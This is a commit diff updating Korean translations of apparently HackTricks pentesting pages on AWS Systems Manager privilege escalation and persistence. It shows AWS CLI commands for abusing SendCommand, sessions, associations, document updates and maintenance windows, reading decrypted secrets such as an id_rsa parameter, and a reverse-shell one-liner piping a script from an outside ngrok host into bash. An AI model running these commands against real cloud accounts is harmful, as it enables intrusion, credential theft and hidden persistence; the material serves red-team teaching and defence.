Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-04-21 08:24:22 +00:00
parent 2f6320a8d6
commit a947a92313
2 changed files with 125 additions and 26 deletions

View File

@@ -4,15 +4,15 @@
## SSM ## SSM
자세한 정보는 다음을 확인하세요: 자세한 내용은 다음을 확인하세요:
{{#ref}} {{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}} {{#endref}}
### ssm:CreateAssociation 사용한 persistence ### persistence를 위해 ssm:CreateAssociation 사용
권한 **`ssm:CreateAssociation`** 을 가진 공격자는 SSM으로 관리는 EC2 인스턴스에서 명령을 자동으로 실행하도록 State Manager Association을 생성할 수 있습니다. 이러한 associations는 고정된 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이 backdoor-like persistence에 적합합니다. **`ssm:CreateAssociation`** 권한이 있는 공격자는 SSM 관리는 EC2 인스턴스에서 명령을 자동으로 실행하도록 State Manager Association을 생성할 수 있습니다. 이러한 association 고정된 간격으로 실행되도록 설정할 수 있어, interactive session 없이 backdoor-like persistence에 적합합니다.
```bash ```bash
aws ssm create-association \ aws ssm create-association \
--name SSM-Document-Name \ --name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name --association-name association-name
``` ```
> [!NOTE] > [!NOTE]
> 지속성 방법은 EC2 인스턴스가 Systems Manager 관리되고 SSM agent가 실행 중이며 공격자가 association 생성할 권한이 있는 경우에 작동합니다. 이 방법은 대화형 세션이나 명시적인 ssm:SendCommand 권한을 필요하지 않습니다. **중요:** `--schedule-expression` 파라미터(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 원하면 `--schedule-expression`을 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다. > persistence method는 EC2 instance가 Systems Manager에 의해 관리되고, SSM agent가 실행 중이며, attacker가 associations를 생성할 권한이 있는 작동합니다. interactive sessions나 explicit ssm:SendCommand permissions가 필요하지 않습니다. **Important:** `--schedule-expression` parameter(예: `rate(30 minutes)`)는 AWS의 최소 30분 간격을 따라야 합니다. 즉시 실행하거나 one-time execution을 하려면 `--schedule-expression`을 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
`ssm:UpdateDocument``ssm:UpdateDocumentDefaultVersion` permissions를 가진 attacker는 existing documents를 수정하여 privileges를 escalate할 수 있습니다. 이는 해당 document 내에서 persistence도 가능하게 합니다. 실무적으로 attacker는 custom documents의 이름을 얻기 위해 `ssm:ListDocuments`도 필요하며, attacker가 existing document 안에 payload를 obfuscate하려는 경우 `ssm:GetDocument`도 필요합니다.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
아래는 기존 문서를 덮어쓸 수 있는 예시 문서입니다. invocaton 문제를 피하려면 문서 type이 대상 문서의 type과 일치하는지 확인해야 합니다. 아래 문서는 예를 들어 **`ssm:SendCommand`** 및 **`ssm:CreateAssociation`** 예시를 다룹니다.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
**`ssm:RegisterTaskWithMaintenanceWindow`**와 **`ssm:RegisterTargetWithMaintenanceWindow`** 권한이 있는 공격자는 먼저 기존 maintenance window에 새 target을 등록한 다음, 새 task를 등록하도록 업데이트하여 권한을 상승시킬 수 있습니다. 이렇게 하면 기존 targets에서 execution이 가능하지만, 새 targets를 등록함으로써 서로 다른 roles를 가진 compute를 compromise할 수도 있습니다. 또한 maintenance windows tasks는 window 생성 시 미리 정의된 interval로 실행되므로 persistence도 가능합니다. 실제로는 maintenance window IDs를 얻기 위해 **`ssm:DescribeMaintenanceWindows`**도 필요합니다.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## SSM ## SSM
SSM에 대한 자세한 정보는 다음을 확인하세요: SSM에 대한 더 많은 정보는 다음을 확인하세요:
{{#ref}} {{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ SSM에 대한 자세한 정보는 다음을 확인하세요:
### `ssm:SendCommand` ### `ssm:SendCommand`
권한 **`ssm:SendCommand`**을 가진 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 **execute commands in instances**할 수 있으며, 그 안에서 실행 중인 **compromise the IAM Role**할 수 있다. 권한 **`ssm:SendCommand`** 이 있는 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 **명령을 실행**할 수 있으며, 그 안에서 실행 중인 **IAM Role****compromise** 할 수 있습니다.
```bash ```bash
# Check for configured instances # Check for configured instances
aws ssm describe-instance-information aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \ --document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
``` ```
이미 침해된 EC2 인스턴스 내부에서 이 기법을 사용해 권한을 상승시키려는 경우, 로컬에서 rev shell을 다음과 같이 캡처할 수 있습니다: 이미 compromised된 EC2 instance 내부에서 privileges를 escalte하기 위해 이 technique를 사용 중이라면, 로컬에서 rev shell을 다음과 같이 capture할 수 있습니다:
```bash ```bash
# If you are in the machine you can capture the reverseshel inside of it # If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \ --document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
``` ```
**잠재적 영향:** SSM Agents가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 privesc. **잠재적 영향:** 실행 중인 SSM Agent가 있는 실행 중인 인스턴스에 연결된 EC2 IAM roles로 직접 privesc 가능.
### `ssm:StartSession` ### `ssm:StartSession`
권한 **`ssm:StartSession`**을 가진 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작할 수** 있으며, 그 안에서 실행 중인 **IAM Role을 탈취**할 수 있습니다. **`ssm:StartSession`** 권한을 가진 공격자는 Amazon SSM Agent가 실행 중인 **인스턴스에서 SSH 같은 session을 시작**할 수 있으며, 그 안에서 실행 중인 **IAM Role을 compromise**할 수 있습니다.
```bash ```bash
# Check for configured instances # Check for configured instances
aws ssm describe-instance-information aws ssm describe-instance-information
@@ -47,23 +47,23 @@ aws ssm start-session --target "$INSTANCE_ID"
> [!CAUTION] > [!CAUTION]
> 세션을 시작하려면 **SessionManagerPlugin**이 설치되어 있어야 합니다: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) > 세션을 시작하려면 **SessionManagerPlugin**이 설치되어 있어야 합니다: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**잠재적 영향:** SSM Agent가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접 privesc. **Potential Impact:** 실행 중인 인스턴스에서 SSM Agents동작 중일 때 연결된 EC2 IAM roles로의 직접 privesc.
#### Privesc to ECS #### Privesc to ECS
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ **ECS tasks**가 **`ExecuteCommand` enabled** 상태로 실행될 때, 충분한 권한이 있는 사용자는 `ecs execute-command`를 사용해 container 내부에서 **execute a command**할 수 있습니다.\
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin 필요합니다)\ [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)에 따르면, 이는 사용하는 device와 target container 사이에 SSM Session Manager로 secure channel을 생성해서 수행됩니다. (이 작업을 위해 SSM Session Manager Plugin 필요)\
따라서 `ssm:StartSession` 권한을 가진 사용자는 해당 옵션이 활성화된 경우 단순히 다음을 실행하여 **get a shell inside ECS tasks** 수 있습니다: 따라서 `ssm:StartSession` 권한이 있는 사용자는 해당 옵션이 enabled된 ECS tasks 안에서 **get a shell**을 다음과 같이 실행만 해서 얻을 수 있습니다:
```bash ```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
``` ```
![](<../../../images/image (185).png>) ![](<../../../images/image (185).png>)
**잠재적 영향:** `ExecuteCommand`가 활성화된 실행 중인 태스크에 연결된 `ECS`IAM roles에 대한 직접적인 privesc. **Potential Impact:** `ExecuteCommand`가 활성화된 실행 중인 task에 연결된 `ECS` IAM roles 직접 privesc.
### `ssm:ResumeSession` ### `ssm:ResumeSession`
권한 **`ssm:ResumeSession`**을 가진 공격자는 Amazon SSM Agent가 실행 중이며 SSM 세션 상태가 **연결이 끊** 인스턴스에서 재-**SSH와 유사한 세션을 시작**할 수 있으며, 그 내부에서 실행되는 **IAM Role을 탈취**할 수 있습니다. **`ssm:ResumeSession`** 권한이 있는 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 **연결이 끊어진** SSM session 상태의 **SSH 같은 세션을 다시 시작**할 수 있으며, 그 에서 실행 중인 **IAM Role을 compromise**할 수 있습니다.
```bash ```bash
# Check for configured instances # Check for configured instances
aws ssm describe-sessions aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \ aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5 --session-id Mary-Major-07a16060613c408b5
``` ```
**잠재적 영향:** SSM Agents가 실행 중이고 disconected sessions가 있는 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접 privesc. **Potential Impact:** 실행 중인 인스턴스에 연결된 EC2 IAM roles와 실행 중인 SSM Agents disconnect sessions에 대한 직접 privesc.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
언급된 권한을 가진 공격자**SSM parameters**를 나열하고 **평문으로 읽을 수 있습니다**. 이러한 파라미터에서는 종종 SSH keys나 API keys 같은 **민감한 정보**를 찾을 수 있습니다. 언급된 permissions를 가진 attacker**SSM parameters**를 나열하고 **clear-text로 읽을 수** 있습니다. 이 parameters 안에서는 자주 **SSH keys나 API keys** 같은 민감한 정보를 **찾을 수 있습니다**.
```bash ```bash
aws ssm describe-parameters aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa" # Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption
``` ```
**Potential Impact:** 매개변수 내에서 sensitive information을 찾을 수 있음. **Potential Impact:** parameters 안에서 민감한 정보를 찾을 수 있음.
### `ssm:ListCommands` ### `ssm:ListCommands`
이 권한을 가진 공격자는 전송된 모든 **commands**를 나열하고, 그 안에서 **sensitive information** 찾을 수 있다. 이 권한이 있는 attacker는 전송된 모든 **commands**를 나열할 수 있으며, 그 안에서 **민감한 정보** 찾을 수 있기를 기대할 수 있다.
``` ```
aws ssm list-commands aws ssm list-commands
``` ```
**잠재적 영향:** 명령줄 내부에서 민감한 정보를 찾을 수 있습니다. **Potential Impact:** command lines 안에서 sensitive information을 찾을 수 있.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
이 권한을 가진 공격자는 전송된 모든 **명령** 나열하고 생성된 **출력**을 읽어 **민감한 정보**아낼 수 있습니다. 이 권한을 가진 attacker는 전송된 모든 **commands** 나열하고 생성된 **output을 읽을 수** 있어, 그 안에서 **sensitive information** 수 있다.
```bash ```bash
# You can use any of both options to get the command-id and instance id # You can use any of both options to get the command-id and instance id
aws ssm list-commands aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id> aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
``` ```
**잠재적 영향:** 명령 출력에서 민감한 정보를 찾을 수 있습니다. **잠재적 영향:** 명령 출력에서 민감한 정보를 찾습니다.
### ssm:CreateAssociation 사용 ### Using ssm:CreateAssociation
권한 **`ssm:CreateAssociation`** 가진 공격자는 State Manager Association을 생성하여 SSM으로 관리는 EC2 인스턴스에서 명령을 자동으로 실행할 수 있습니다. 이러한 Association은 고정된 간격으로 실행되도록 구성할 수 있어 인터랙티브 세션 없이 backdoor-like persistence에 적합합니다. **`ssm:CreateAssociation`** 권한을 가진 공격자는 SSM이 관리는 EC2 인스턴스에서 명령을 자동으로 실행하도록 State Manager Association을 생성할 수 있습니다. 이러한 association은 고정된 간격으로 실행되도록 설정할 수 있어, interactive sessions 없이 backdoor-like persistence에 적합합니다.
```bash ```bash
aws ssm create-association \ aws ssm create-association \
--name SSM-Document-Name \ --name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name --association-name association-name
``` ```
> [!NOTE] > [!NOTE]
> 지속성 방법은 EC2 인스턴스가 Systems Manager 관리되고 SSM agent가 실행 중이며 공격자가 associations를 생성할 권한이 있는 한 동합니다. 인터랙티브 세션이나 명시적인 ssm:SendCommand 권한 필요하지 않습니다. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation. > persistence method는 EC2 instance가 Systems Manager에 의해 관리되고, SSM agent가 실행 중이며, attacker가 associations를 생성할 권한이 있는 한 동합니다. interactive sessions나 명시적인 ssm:SendCommand 권한 필요하지 않습니다. **Important:** `--schedule-expression` parameter(예: `rate(30 minutes)`)는 AWS의 최소 30분 간격을 준수해야 합니다. 즉시 또는 1회 실행의 경우 `--schedule-expression`를 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
**`ssm:UpdateDocument`** 및 **`ssm:UpdateDocumentDefaultVersion`** 권한이 있는 attacker는 기존 documents를 수정하여 privileges를 escalate할 수 있습니다. 이는 해당 document 내에서 persistence도 가능하게 합니다. 실제로는 attacker가 custom documents의 이름을 얻기 위해 **`ssm:ListDocuments`**도 필요하며, attacker가 existing document 안에 payload를 obfuscate하려면 **`ssm:GetDocument`** 역시 필요합니다.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
아래는 기존 문서를 덮어쓸 수 있는 예시 document입니다. invocation 문제를 피하려면 document type이 target document의 type과 일치하는지 확인해야 합니다. 아래 document는 예를 들어 **`ssm:SendCommand`** 및 **`ssm:CreateAssociation`** 예시에 사용됩니다.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
**`ssm:RegisterTaskWithMaintenanceWindow`**와 **`ssm:RegisterTargetWithMaintenanceWindow`** 권한이 있는 공격자는, 먼저 기존 maintenance window에 새 target을 등록한 다음 새 task를 등록함으로써 권한을 상승시킬 수 있습니다. 이렇게 하면 기존 target에서 실행이 가능해지지만, 새 target을 등록함으로써 다른 role을 가진 compute도 침해할 수 있습니다. 또한 maintenance window task는 window 생성 시 정의된 주기에 따라 실행되므로 persistence에도 사용할 수 있습니다. 실제로는 maintenance window ID를 얻기 위해 **`ssm:DescribeMaintenanceWindows`**도 필요합니다.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild ### Codebuild
빌드 중인 codebuild 프로젝트에 SSM을 이용해 접근할 수도 있습니다: SSM를 사용해서 빌드 중인 codebuild project 내부로 들어갈 수도 있습니다:
{{#ref}} {{#ref}}
../aws-codebuild-privesc/README.md ../aws-codebuild-privesc/README.md